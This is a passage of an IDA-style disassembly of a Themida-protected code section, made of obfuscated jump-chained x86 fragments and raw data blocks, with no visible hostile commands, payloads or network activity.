241C8BD8h, 0FFC99FE9h, 4C483FFh, 40E9C601h dd 89FFFF27h, 0E0685AD3h, 8900003Fh, 0B8E9241Ch db 0B1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56095F: ; CODE XREF: Themida_:00560A8Cj mov [esp], edi push 4E82E7Ah mov edi, [esp] jmp loc_556AC1 ; --------------------------------------------------------------------------- db 5Ch dd 0FF241C89h, 0FF042474h, 0D7E92434h, 8800002Ch, 0EEC2E9D4h dd 5266FFFFh, 0FF1A94E9h, 719368FFh, 3C890000h, 68E78924h dd 5901h, 0FF3844E9h, 8BDE29FFh, 0C481241Ch, 4, 295EF001h dd 3156E9D8h, 68660000h, 8966422Dh, 3AB3241Ch, 0FF6194E9h dd 0D1BA52FFh, 893B963Fh, 0EBC15AD3h, 0ABC38102h, 13B0EB9h dd 53575BD8h, 7E62BF57h, 0FB89475Dh, 5245E9h, 241C8700h dd 4009E9h, 59CE0100h, 7922C581h, 0F5013925h, 31AEE9h dd 0E9575100h, 1084h, 33243C31h, 0E95C243Ch, 0FFFF0CDAh dd 0E924248Bh, 0FFFF0CD2h, 5158C329h, 0C6885253h, 0EAE9F788h dd 81000049h, 3B7F3DC6h, 1C9DE967h, 4210000h, 0AFE99C24h dd 5CFFFF0Ch, 51BDBF57h, 0B951510Ah, 74C7267Eh, 0A3F18141h dd 835B0979h, 2C8904ECh, 5A4CBD24h, 0E94D58A9h, 0FFFF0D58h ; --------------------------------------------------------------------------- loc_560A64: ; CODE XREF: Themida_:005594B8j xchg esi, [esp] pop esp jmp loc_55EC57 ; --------------------------------------------------------------------------- loc_560A6D: ; CODE XREF: Themida_:0055CF1Bj mov [esp], ebp mov ebp, 479D179Eh jmp loc_55D5EC ; --------------------------------------------------------------------------- dw 0F181h dd 741EFB1Dh, 50E9D129h db 0CAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560A87: ; CODE XREF: Themida_:005629F4j push 0B57h jmp loc_56095F ; --------------------------------------------------------------------------- loc_560A91: ; CODE XREF: Themida_:0055D1D4j pop ecx pop ecx jmp loc_55C974 ; --------------------------------------------------------------------------- dd 33243C31h, 895C243Ch, 47E92404h, 0F7FFFF0Ch, 0EE8196D0h dd 0A502E587h, 6F03772Dh, 5F0013Ah, 3A6F0377h, 0ADABE95Eh dd 0BDBDFFFFh, 812CCD53h, 7C1B5AE5h, 0F2CD8132h, 5217C322h dd 435570BAh, 54C28137h, 8104A859h, 178F48EAh, 5AD53109h dd 0E95DEB89h, 0FFFFF0B7h, 591ED0B9h, 59CF2945h, 3C8BF929h dd 4C48124h, 8B000000h, 0C483243Ch, 5E0A6804h, 14890000h dd 44DFBA24h, 0CA8141FEh, 6BBA558Fh, 1DB0BF57h, 59E94D84h dd 0C100005Eh, 8BE903E8h, 8BFFFF97h, 0C4832404h, 8B545204h dd 80682414h, 8900007Eh, 0E589242Ch, 0FFF576E9h, 24048FFFh dd 4BF57h, 8AE90000h db 8Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560B57: ; CODE XREF: Themida_:00553BCEj mov esi, [esp] add esp, 4 push 4D1Eh mov [esp], ecx mov ecx, 4 sub eax, 7F3E6A9Dh sub eax, ecx jmp loc_55ABBE ; --------------------------------------------------------------------------- dw 348Bh dd 2BE5E924h, 2B68FFFFh, 0E9000032h, 38A3h ; --------------------------------------------------------------------------- loc_560B88: ; CODE XREF: Themida_:005591A0j mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] mov esp, [esp] jmp loc_5570D0 ; --------------------------------------------------------------------------- dw 0FA31h dd 0FA31D731h, 0FA87D7F7h, 36CBF57h, 0E94F1B0Dh, 1FFEh dd 8104C483h, 4C4h, 0E9F00000h, 0FFFFE8C8h, 5624048Bh dd 0C681E689h, 4, 4BD55h, 0EE010000h, 2434875Dh, 0E689565Ch dd 1AE768h, 24048900h, 12E0B951h, 0D9F7769Dh, 2DD3F181h dd 0E1816F68h, 4D130F6Ah, 0C105E1C1h, 0C18102E1h, 6FCBD5E8h dd 0C8BC889h, 4C48124h, 5000000h, 1, 26F6E940h, 0F588FFFFh dd 0FFC5805Ah, 0FF899AE9h db 0FFh ; --------------------------------------------------------------------------- loc_560C29: ; CODE XREF: Themida_:0055948Dj xchg eax, ebp pop ebp neg eax push edi mov edi, 154D6143h shr edi, 5 not edi or edi, 20F00D7Eh sub edi, 0A2858D31h add eax, edi jmp loc_558AFD ; --------------------------------------------------------------------------- loc_560C4B: ; CODE XREF: Themida_:0055B83Bj pop esi push edx push ebx pop edx pop ebx dec ebx jmp loc_55A88A ; --------------------------------------------------------------------------- loc_560C56: ; CODE XREF: Themida_:0055D89Bj xor ebx, 261E18B0h mov esi, ebx pop ebx push esi jmp loc_554292 ; --------------------------------------------------------------------------- db 5Fh, 5, 6 dd 2D60BD3Ch, 32054DB7h, 0B705E801h, 5232054Dh, 0B454B0BAh dd 0C741E900h, 0FE58FFFFh, 2DB151CFh, 8008E980h, 0C1802EC9h dd 59CF08B8h, 0E91FC780h, 36B2h, 2474FF53h, 48F5B04h, 24248B24h dd 33F568h, 240C8900h, 62C368h, 24348900h, 8021F2BEh, 30AEB93Eh dd 0F131276Dh, 39F1815Eh, 52054631h, 5031C2BAh, 58CA813Fh dd 0C17D380Bh, 0C28103E2h, 5EC98290h, 3832E9h, 52EEBF00h dd 7C011C97h, 0EDE90824h, 5F000057h, 5C240487h, 0E99CC884h dd 0FFFF09EEh, 0E9240C8Bh, 0FFFF5439h, 55240C89h, 0E9455D59h dd 0FFFFC938h, 9E0319BBh, 2202E94Bh, 0BAB8FFFFh, 25583B43h dd 11E93BCFh, 2F4E8725h, 62912552h, 462545B8h, 0E9337A18h dd 3F3Dh, 27FEDF05h, 0CE0EE9FFh, 34FFFFFFh db 24h, 5Fh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] jmp loc_5633DE ; --------------------------------------------------------------------------- loc_560D64: ; CODE XREF: Themida_:0055874Aj pop ecx push dword ptr [esp] mov ebp, [esp] jmp loc_557AFB ; --------------------------------------------------------------------------- aIH db '‰,$h',0 db 4, 2 dup(0) dd 0FFAF5AE9h, 241489FFh, 5E9E289h db 75h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560D87: ; CODE XREF: Themida_:0056632Cj sub esi, 62D98E5Ah jmp loc_555F6D ; --------------------------------------------------------------------------- dw 48Fh aSsg db '$éáG',0 align 2 loc_560D9A: ; CODE XREF: Themida_:0055F8B5j pop ebx xchg esi, [esp] pop esp push 5A7h jmp loc_55F025 ; --------------------------------------------------------------------------- db 31h, 34h, 24h dd 0FF2B51E9h, 242C8BFFh, 4C481h, 0C8310000h, 83240C8Bh dd 92E904C4h, 5Eh, 45B5BD8h, 288F0472h, 0B35366D8h, 66D8288Fh dd 43F2E95Bh, 2C8BFFFFh, 4C48324h, 5BFD6857h, 3C8B4F68h dd 49B3E924h, 0C15B0000h, 0C58102E5h, 225F2A1Ch, 8ECD8145h dd 814F3404h, 34CC9BEDh, 5DEB01FFh db 55h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_560FD3 ; --------------------------------------------------------------------------- db 55h, 0E9h, 0BEh db 0DFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560E1B: ; CODE XREF: Themida_:00564E33j push edi jmp loc_551DBC ; --------------------------------------------------------------------------- db 5Eh, 33h, 0Ch dd 30FEE924h, 8B66FFFFh, 0E956240Ch, 0FFFFDBC4h, 0AF71152Dh dd 58C129CEh, 0B850D101h, 1A2E50FBh, 0FFE6ABE9h db 0FFh ; --------------------------------------------------------------------------- loc_560E49: ; CODE XREF: Themida_:005541E0j pop dword ptr [esp] jmp loc_55A2C4 ; --------------------------------------------------------------------------- db 28h, 0EAh, 80h dd 0C280CCEAh, 0C8B6623h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 2 xchg ebp, [esp] mov esp, [esp] shr dl, 3 dec dl add dl, 0C5h push ebx push eax mov al, 0BBh mov bl, al jmp loc_555FF2 ; --------------------------------------------------------------------------- loc_560E82: ; CODE XREF: Themida_:005565D8j mov esp, [esp] loc_560E85: ; CODE XREF: Themida_:00551B76j push edx push esi jmp loc_55E392 ; --------------------------------------------------------------------------- dd 2436C181h, 0E98101B0h, 10AE2C37h, 8324348Bh, 0C18104C4h dd 2, 2474FF51h, 48F5904h, 24248B24h, 4BB0F66h, 0EDE99C24h dd 59FFFF0Fh, 0C005EFC0h, 0F9E908EFh, 51000056h, 339FE95Eh dd 62BB0000h, 4B147A51h, 45BCEB81h, 0E3C10DFFh, 38D2E907h dd 2C89FFFFh, 0D119E924h, 0C781FFFFh, 4, 3D6A68h, 3363E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_560EFA: ; CODE XREF: Themida_:005667A4j mov edi, 4D9F0428h add eax, edi mov edi, [esp] jmp loc_553892 ; --------------------------------------------------------------------------- loc_560F09: ; CODE XREF: Themida_:00563CB5j push eax jmp loc_55E2AF ; --------------------------------------------------------------------------- db 66h dd 8324048Bh, 48904ECh, 4EC8124h, 68000000h, 1F0Ah, 24048F54h dd 0FFC897E9h, 3DC181FFh, 298138F7h, 0BF5759CBh, 2C4D2022h dd 3B8EE9h, 13A6BA00h, 0A2BD220Fh, 31220F13h, 0E9015AD5h dd 0FFCA1AE9h, 242C31FFh, 8B242C33h, 4302424h, 0BEE99C24h dd 55FFFFF7h, 0D510B3BDh, 6E5C105h, 0E905EDC1h, 0FFFF114Dh ; --------------------------------------------------------------------------- loc_560F78: ; CODE XREF: Themida_:0055F31Dj shl edx, 5 xor edx, 5EE41B2h jmp loc_554800 ; --------------------------------------------------------------------------- dw 3C8Bh dd 4C48124h, 81000000h, 4ECh, 241C8900h, 0F220F0BBh, 0E9D38772h dd 0FFFFEB71h, 3540D8F7h, 9CE0A14Ch, 41E9C589h, 0B7FFFFD4h dd 6E7C02Ch, 0E966CF80h, 0FFFFB122h, 8B5FFB29h, 0C4832414h dd 46AC6804h, 13E90000h db 2Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560FD3: ; CODE XREF: Themida_:00560E10j add ebp, 4 sub ebp, 4 jmp loc_55EA68 ; --------------------------------------------------------------------------- dd 4C63C781h, 0FE89458Eh, 5EF7095Fh, 6166BE56h, 0C6817A7Ah dd 0ED2B305Bh, 575EF731h, 0D9E95F5Bh, 8FFFFFCFh, 4812404h dd 424h, 0C7815F00h, 4, 4B951h, 0BE560000h, 790B5D61h dd 6F79C781h, 2EE944BBh, 5A000059h, 6E84F681h, 0D6F708A2h dd 0C714B951h, 0CE31EF96h, 57240C8Bh, 0C781E789h, 4, 4C781h dd 3C870000h, 4987E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56105A: ; CODE XREF: Themida_:00558220j xchg esi, [esp] mov esp, [esp] jmp loc_564679 ; --------------------------------------------------------------------------- loc_561065: ; CODE XREF: Themida_:00563CCBj sub ebp, 7C6E6739h add ebp, edi push ebx mov ebx, 0F680A31h jmp loc_552626 ; --------------------------------------------------------------------------- dd 4C481h, 0C2290000h, 73C168h, 0AB85E900h, 0AE0DFFFFh dd 565BF70h, 0C895B752h, 0DAE9C789h, 89FFFF74h, 58542404h dd 405h, 40500h, 4870000h, 1B67E924h, 41590000h, 0FFE309E9h dd 0AEBF57FFh, 817A4507h, 0A77EC6C2h, 81FA2903h, 0A77EC6EAh dd 0DA015F03h, 7AEC281h, 525B7A45h, 42474FFh, 0E924148Bh dd 0FFFFA689h, 7429B335h, 8BC129B1h, 0C4812404h, 4, 3879BE56h dd 0CE81026Ah, 4BAF5A82h, 4F3EE681h, 0E6815CF9h, 7222686Eh dd 8102E6C1h, 0B80B9BC6h, 0FFF13148h, 815E2434h, 4C4h dd 0BABE5600h, 0E948996Eh, 0F0Bh ; --------------------------------------------------------------------------- loc_56112C: ; CODE XREF: Themida_:005607A2j add edx, 4 jmp loc_55199D ; --------------------------------------------------------------------------- loc_561137: ; CODE XREF: Themida_:00558673j sub esp, 4 mov [esp], edi push 42DE46B1h mov edi, [esp] add esp, 4 jmp loc_55B77E ; --------------------------------------------------------------------------- db 5Fh, 29h, 7Ch dd 6C810424h, 0CA90424h, 34FF6EB6h, 1E95F24h db 5Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561163: ; CODE XREF: Themida_:00556ECEj pop edx push ecx jmp loc_55C936 ; --------------------------------------------------------------------------- dw 0BCBFh dd 0E955312Bh, 0FFFFCCDFh, 859AE952h, 8B66FFFFh, 8953240Ch dd 0DE6DE9E3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561186: ; CODE XREF: Themida_:005635C3j add ecx, 4 sub esp, 4 mov [esp], esi push ecx mov ecx, 34612CBCh push eax mov eax, 0CB9ED348h mov esi, eax pop eax add esi, ecx pop ecx sub ecx, esi mov esi, [esp] add esp, 4 jmp loc_556B69 ; --------------------------------------------------------------------------- aIZRCgOsO db '‰<$¿z',27h,'º*Rº—GÁOéßO',0 dw 5700h dd 0D922C9BFh, 5FFA317Ch, 0FFE4C0E9h, 0E9D631FFh, 0FFFF2EDEh dd 958EEB81h, 0D8018398h, 0FFD598E9h, 0EC8158FFh, 4, 0BA241489h dd 13F217BCh, 607BBD55h, 7BE93922h, 68000052h, 518Fh, 0E9240C89h dd 56CCh, 3ECC8059h, 80ACCC80h, 0F4807DC4h, 398F68DFh dd 0C890000h, 88E18824h, 240C8BCAh, 0E904C483h, 0FFFF62C1h dd 0ABFCE959h, 48BFFFFh, 4C48124h, 5F000000h, 0E908E8C1h dd 0FFFFF671h ; --------------------------------------------------------------------------- loc_56124C: ; CODE XREF: Themida_:00565576j push edi jmp loc_56241D ; --------------------------------------------------------------------------- dw 24D2h dd 93E99C24h, 8BFFFF04h, 0E953240Ch, 0FFFF5E38h ; --------------------------------------------------------------------------- loc_561264: ; CODE XREF: Themida_:00558633j pop ecx add esp, 4 push 4860h mov [esp], eax mov eax, 5EF055C7h jmp loc_55B098 ; --------------------------------------------------------------------------- loc_56127A: ; CODE XREF: Themida_:00561E2Ej and ecx, 5A8B1591h neg ecx xor ecx, 8B438717h add edi, ecx mov ecx, [esp] add esp, 4 shl edi, 6 jmp loc_55BB8B ; --------------------------------------------------------------------------- dd 44C38166h, 19FEE9B6h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5612A2: ; CODE XREF: Themida_:00564E20j sub esi, edx add esi, 48A457EBh pop edx push ecx mov ecx, esi mov edx, ecx pop ecx pop esi add [esp+4], edx mov edx, [esp] jmp loc_55949D ; --------------------------------------------------------------------------- dw 0D801h dd 86BB2D5Bh, 0C3894D47h, 582434FFh, 0FF1C62E9h db 0FFh ; --------------------------------------------------------------------------- loc_5612D1: ; CODE XREF: Themida_:005665BBj pop ecx add ecx, 4 jmp loc_564F11 ; --------------------------------------------------------------------------- db 5, 70h, 3Fh dd 6AE91374h db 0Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5612E7: ; CODE XREF: Themida_:0055C709j xchg esi, [esp] pop esp sub edi, 4 jmp loc_55FCB7 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 55C60100h, 0E904EC83h, 183h, 5C240487h, 24048F54h dd 4BF57h, 6C810000h, 48B0424h, 7C012265h, 44810424h, 48B0424h dd 5A5F2265h, 3B8C68h, 24348900h, 19535FBEh, 0E9D6F758h dd 0FFFF81E3h, 0F9BF575Ch, 9706116h, 0C5835FFDh, 4EC8301h dd 52243C89h, 2F432FBAh, 4EAC12Dh, 0F281D2F7h, 2C282FC9h dd 2DF3E281h, 0E281230Ch, 19EB1FFCh, 6FEEA81h, 77E90E86h dd 0BD000052h, 345C565Eh, 5656BA52h, 0D5317BB0h, 6EDC15Ah dd 0F581DDF7h, 0AB8902AEh, 3A6AB951h, 0CF01352Eh, 81EF0159h dd 2E3A6AEFh, 0BB535D35h, 7E092321h, 15BDF01h, 21BB53CFh dd 297E0923h, 0BB535BDFh, 554952AEh, 4F00E9h, 8903BA00h dd 78E9EF0Eh db 58h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5613CB: ; CODE XREF: Themida_:0055DCDFj push 1304h mov [esp], edi push 21B6h mov [esp], ebx mov ebx, 2BA2370Eh add ebx, 42D64D83h dec ebx not ebx jmp loc_56475D ; --------------------------------------------------------------------------- dw 3C89h dd 2474FF24h, 4928E904h, 0DF040000h, 0FFA6D3E9h db 0FFh ; --------------------------------------------------------------------------- loc_561401: ; CODE XREF: Themida_:0055A9F9j add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_551800 ; --------------------------------------------------------------------------- dw 0FD31h dd 5BDD295Fh, 0FF104CE9h, 80AAB3FFh, 0D8289AC3h, 0FFABA8E9h dd 0B35366FFh, 66DE0046h, 81241C8Bh, 2C4h, 5AF02800h, 0D804D800h dd 0FF104EE9h, 0F6DE86FFh, 80DE86D3h, 0FE303AF6h, 0FE30F730h dd 0FF9C09E9h, 0B95157FFh, 370B26F2h, 758FE941h, 34FFFFFFh dd 87BEE924h, 3489FFFFh, 0E7ABE24h, 0EEC146C3h, 0E9BA5206h dd 0C15CB81Ch, 2EE902E2h, 89FFFFE2h, 72E92414h, 6800001Ch dd 90Fh, 50241489h, 250E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56149E: ; CODE XREF: Themida_:0055D068j mov edx, edi push 6154h mov [esp], edx pop eax pop edx mov edi, [esp] push esi push esp mov esi, [esp] add esp, 4 add esi, 4 push 7D96h jmp loc_5594DA ; --------------------------------------------------------------------------- loc_5614C5: ; CODE XREF: Themida_:00558E93j mov ebp, 0ED85167h mov eax, ebp pop ebp push 3476h mov [esp], ebp jmp loc_55A631 ; --------------------------------------------------------------------------- loc_5614DA: ; CODE XREF: Themida_:00556AA1j mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp or eax, eax jz loc_552D56 push dword ptr [edi+1Ch] push dword ptr [esp] mov ecx, [esp] jmp loc_557A63 ; --------------------------------------------------------------------------- db 0FFh a4S8 db '4$é>8',0 db 0 ; --------------------------------------------------------------------------- loc_561507: ; CODE XREF: Themida_:00557C2Bj mov [esp], ecx jmp loc_56083F ; --------------------------------------------------------------------------- db 81h dd 4ECh, 6E2E900h, 0C2010000h, 5724048Bh, 0C781E789h, 4 dd 4C781h, 0EEE90000h, 1FFFF6Eh, 0DAC381D3h, 0E923E11Bh dd 0FFFF8D11h, 0E904EC83h, 0FFFFB12Eh, 592434FFh, 8704C483h dd 7BE92404h db 47h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561557: ; CODE XREF: Themida_:0055AFB4j sub esp, 4 mov [esp], eax push edi push dword ptr [esp] jmp loc_562FD6 ; --------------------------------------------------------------------------- dw 0D8F7h dd 9B8E3D05h, 58C301B5h, 5BD9015Fh, 2474FF51h, 48F5904h dd 97AFE924h, 0C383FFFFh, 241C8704h, 51C6815Ch, 290ACC74h dd 7998E9FEh, 53E9FFFFh db 1, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56159B: ; CODE XREF: Themida_:0055ED47j pop dx sub esp, 4 mov [esp], ebx mov bh, 40h add bh, 0CCh push ecx mov ch, 0C1h neg ch jmp loc_55D1D9 ; --------------------------------------------------------------------------- db 5Bh, 0E9h, 74h dd 66FFFF3Eh, 6824048Bh, 3A35h, 54241489h, 142CE9h, 1A685800h dd 8900007Bh, 0FE682414h, 54000058h, 0FF1C00E9h, 4EC83FFh dd 0FFFAB2E9h, 0E9565DFFh, 0FFFFF8D7h, 3A80B951h, 0E9815EB3h dd 5EB33A7Ch, 72A3EB81h, 0CB013835h, 72A3C381h, 0B1E93835h dd 1FFFFEFh, 0D5C681C6h, 58550847h, 4BDF68h, 24148900h dd 0BAE9E289h, 81000027h, 0CA79BBE7h, 772E936h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561632: ; CODE XREF: Themida_:00557A5Ej mov ebx, ebp pop ebp xor [esp+4], ebx mov ebx, [esp] add esp, 4 pop ebp jmp loc_565910 ; --------------------------------------------------------------------------- dd 53240C89h, 36E9F8B7h, 81000030h, 0BF644AC5h, 33BA524Ch dd 8161A478h, 0E311C7C5h, 12ED8144h, 2956F002h, 12C581D5h dd 8156F002h, 0E311C7EDh, 24148B44h, 4C481h, 0C6810000h dd 316373CBh, 6FD2C681h, 0EE015763h, 6FD2EE81h, 0EE815763h dd 316373CBh, 0FFF73DE9h, 0C83B66FFh, 44E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5616AA: ; CODE XREF: Themida_:005623C4j mov ebp, 44071893h push edx mov edx, 0BBF8E78Dh mov ebx, edx pop edx add ebx, ebp pop ebp sub ebx, 4F9A11A3h add ebx, edi push esi mov esi, 0BE238A1h not esi add esi, 5B7C4A45h add ebx, esi jmp loc_555838 ; --------------------------------------------------------------------------- loc_5616D8: ; CODE XREF: Themida_:0055EEA8j xchg ecx, [esp] pop esp xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp push dword ptr [esp] pop edx push ecx jmp loc_566A0F ; --------------------------------------------------------------------------- aIth?5 db '‰âh?5',0 dw 8900h dd 0D5E92404h, 5BFFFF51h, 1C2DBB53h, 70E969A2h, 81FFFF89h dd 2766EEC5h, 8BE95033h, 5400003Fh, 0FF8161E9h, 241C87FFh dd 0FF609AE9h db 0FFh ; --------------------------------------------------------------------------- loc_561725: ; CODE XREF: Themida_:0055B09Aj pop eax mov ebx, esi jmp loc_554430 ; --------------------------------------------------------------------------- db 81h, 4, 24h dd 52916257h, 0FF0128E9h, 243C8BFFh, 0FFAE09E9h, 0D6F746FFh dd 0E904EEC1h, 0FFFF65BAh, 8246C29h, 0E8E95D5Dh db 0AFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561757: ; CODE XREF: Themida_:005653E0j pop esp jmp loc_566566 ; --------------------------------------------------------------------------- loc_56175D: ; CODE XREF: Themida_:00565D1Dj xor [esp], edi xor edi, [esp] pop esp mov [esp], ebx mov eax, [esp] sub esp, 4 mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_55A47A ; --------------------------------------------------------------------------- loc_56178A: ; CODE XREF: Themida_:00559F21j mov edx, 61B8306Ah sub ecx, edx pop edx pop esi shr ecx, 8 push eax mov eax, 333A696Fh jmp loc_55A502 ; --------------------------------------------------------------------------- db 59h, 0E9h, 0FFh db 4Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_5617A7: ; CODE XREF: Themida_:00552643j push edx mov edx, 1B754098h jmp loc_553ECB ; --------------------------------------------------------------------------- loc_5617B2: ; CODE XREF: Themida_:00561C50j push 7D45h mov [esp], edx push ebx jmp loc_55F1D3 ; --------------------------------------------------------------------------- dd 0E6C095B6h, 0F6DEF603h, 2582E9DEh, 0E9530000h, 0FFFFAAE7h dd 8959C829h, 837E9C3h, 0C6810000h, 7CCDCDFAh, 815EF589h dd 0CE7A2FEDh, 5DE9013Ah, 5AFBEB81h, 0CB0130ABh, 0FFCC66E9h dd 7D0A05FFh, 7D0542EEh, 2929FA47h, 477D2DD8h, 0A2D29FAh dd 2D42EE7Dh, 290727D1h, 3AA768h, 240C8900h, 5A4A1DB9h dd 17E18117h, 8118D464h, 0DA7E42C1h, 0C1D9F77Ch, 0F18108E1h dd 0DC189E82h, 0FF0074E9h, 243C89FFh, 2E0C65BFh, 5FFD8924h dd 0C106E5C1h, 96E903E5h, 52FFFF6Dh, 15A1E9h, 241C8B00h dd 2344E9h, 0E2895200h, 0FF65E9E9h, 5AD689FFh, 2532E95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_561876: ; CODE XREF: Themida_:00563977j xchg eax, [esp] mov esp, [esp] div cl movzx cx, ah jmp loc_552716 ; --------------------------------------------------------------------------- loc_561887: ; CODE XREF: Themida_:0055DF58j xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp and eax, ecx pop ecx or edx, eax shl edx, 1 sub esp, 4 jmp loc_558171 ; --------------------------------------------------------------------------- dd 4C481h, 56660000h, 4EC8155h, 89000000h, 8D68243Ch, 8900000Dh dd 68662404h, 58666934h, 66D8F766h, 66EF4235h, 0FBE9C789h dd 8BFFFF17h, 48F2424h, 89575C24h, 6250E9E7h, 74FFFFFFh dd 34FF0424h, 243C8B24h, 4C481h, 0C4810000h, 4, 5C24048Fh dd 24048B66h, 8904EC83h, 0E189240Ch, 4BB53h, 0CE90000h db 40h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56190F: ; CODE XREF: Themida_:00566A81j push dword ptr [esp] pop ebp add esp, 4 add ebx, esi pop esi add ebx, 4 xchg ebx, [esp] pop esp push edx jmp loc_55B82E ; --------------------------------------------------------------------------- loc_561929: ; CODE XREF: Themida_:00554CD7j xor [esp], esi push dword ptr [esp] pop eax push edx sub esp, 4 jmp loc_565967 ; --------------------------------------------------------------------------- db 81h, 0EDh, 61h dd 81682641h, 67076EDh, 5DE8312Eh, 0E905E8C1h, 0FFFF7D22h ; --------------------------------------------------------------------------- loc_561950: ; CODE XREF: Themida_:00557088j xor eax, ebx jmp loc_55F6F5 ; --------------------------------------------------------------------------- loc_561957: ; CODE XREF: Themida_:00559B98j push esi mov esi, esp add esi, 4 jmp loc_55404A ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 5224248Bh, 0C281E289h, 4, 0C256E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56197A: ; CODE XREF: Themida_:0055A4B0j xor ecx, ebp jmp loc_55B5BB ; --------------------------------------------------------------------------- db 0BEh, 4, 0 dd 0F7010000h, 0FF4049E9h db 0FFh ; --------------------------------------------------------------------------- loc_56198D: ; CODE XREF: Themida_:00554EF9j pop edx push eax push esp mov eax, [esp] add esp, 4 push esi push 7C5Ah mov [esp], ecx jmp loc_55C76E ; --------------------------------------------------------------------------- dd 0ED8017B5h, 0FDCD80F5h, 96B35366h, 8B66DD28h, 6850241Ch dd 6E13h, 81242489h, 42404h, 5580000h, 4, 205h, 24048700h dd 0FF5763E9h, 815E5DFFh, 4C6h, 11FE6800h, 1C890000h, 11A1E924h dd 57AD0000h, 321968h, 24048900h, 27E36855h, 0B8E91BF5h dd 59000051h, 418DC681h, 0EE0152C4h, 0FF8471E9h, 148B66FFh dd 9B685624h, 89000072h, 0BF572424h, 4, 4247C01h, 24348B5Fh dd 9056E955h, 0CF2DFFFFh, 0E97EBB72h, 0FFFFBE9Fh, 24048966h dd 0FEFCA9E9h, 0B3E957FFh db 4Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561A4B: ; CODE XREF: Themida_:0055EEC5j add esi, 4F672A05h or esi, 4CDA22E3h jmp loc_5592B0 ; --------------------------------------------------------------------------- dd 49CBC781h, 0DFF753B4h, 534DC781h, 0FE01A81Ah, 52D6E95Fh dd 0EDC1FFFFh, 22F58104h, 536B4D08h, 44406DBBh, 0B9EB8117h dd 0E946B83Eh, 0FFFF2A0Ah, 6A5E1FBFh, 4EFC10Fh, 7875CF81h dd 0E7813979h, 63083941h, 463DC781h, 0C7811910h, 655BEEBh dd 0E95FF989h, 0FFFFFD20h ; --------------------------------------------------------------------------- loc_561AB4: ; CODE XREF: Themida_:0055AB7Dj mov eax, 3461781Eh jmp loc_554841 ; --------------------------------------------------------------------------- loc_561ABE: ; CODE XREF: Themida_:0055B6DEj pop eax add ecx, 27E51CA4h sub ecx, 7FC71ECAh jmp loc_55A913 ; --------------------------------------------------------------------------- dd 0E2D0D1B2h, 0E956C280h, 0FFFFA780h, 4BDh, 5DE90100h dd 0FF4D04E9h db 0FFh ; --------------------------------------------------------------------------- loc_561AE9: ; CODE XREF: Themida_:0055C671j sub edx, eax add edx, 7F4718F5h push dword ptr [esp] pop eax add esp, 4 jmp loc_5516EE ; --------------------------------------------------------------------------- dd 5A2434FFh, 0E904C483h, 0FFFF2D01h, 2434875Dh, 0E189515Ch dd 4C181h, 0C1810000h, 4, 5C240C87h, 4C481h, 0EDE90000h db 0B2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561B2F: ; CODE XREF: Themida_:00556778j push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_56332A ; --------------------------------------------------------------------------- db 0BAh, 2Bh, 77h dd 0FCE916F1h, 5E00001Ah, 514DE9h db 0 ; --------------------------------------------------------------------------- loc_561B55: ; CODE XREF: Themida_:0055A746j pop edx xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] jmp loc_55DE38 ; --------------------------------------------------------------------------- align 4 dd 0F88CE9F8h, 0C181FFFFh, 4, 5C240C87h, 522168h, 24048900h dd 0E9E38953h, 0FFFFFA68h, 0CA81EAD1h, 6C6F01BCh, 7ABF574Ah dd 557EEF15h, 2B3197BDh, 5DEF3113h, 708CE781h, 0C78116E0h dd 188E5B1Ah, 2BE9FA01h, 5E000024h, 0FF9221E9h db 0FFh ; --------------------------------------------------------------------------- loc_561BB9: ; CODE XREF: Themida_:0055B643j xchg ecx, [esp] jmp loc_552FD7 ; --------------------------------------------------------------------------- loc_561BC1: ; CODE XREF: Themida_:00556FEBj mov ecx, 447A6719h jmp loc_556080 ; --------------------------------------------------------------------------- loc_561BCB: ; CODE XREF: Themida_:00552E47j dec bh xor bh, 1Bh jmp loc_55F89D ; --------------------------------------------------------------------------- aH8 db '])ÐhÇ8',0 dd 241C8900h, 0E1195EBBh, 98EB8178h, 562BAEF2h, 0FF80E6E9h db 0FFh ; --------------------------------------------------------------------------- loc_561BF1: ; CODE XREF: Themida_:005525CBj xor ebx, 53D5CF0Ch jmp loc_565BAC ; --------------------------------------------------------------------------- dd 50241C89h, 10E9B8B4h, 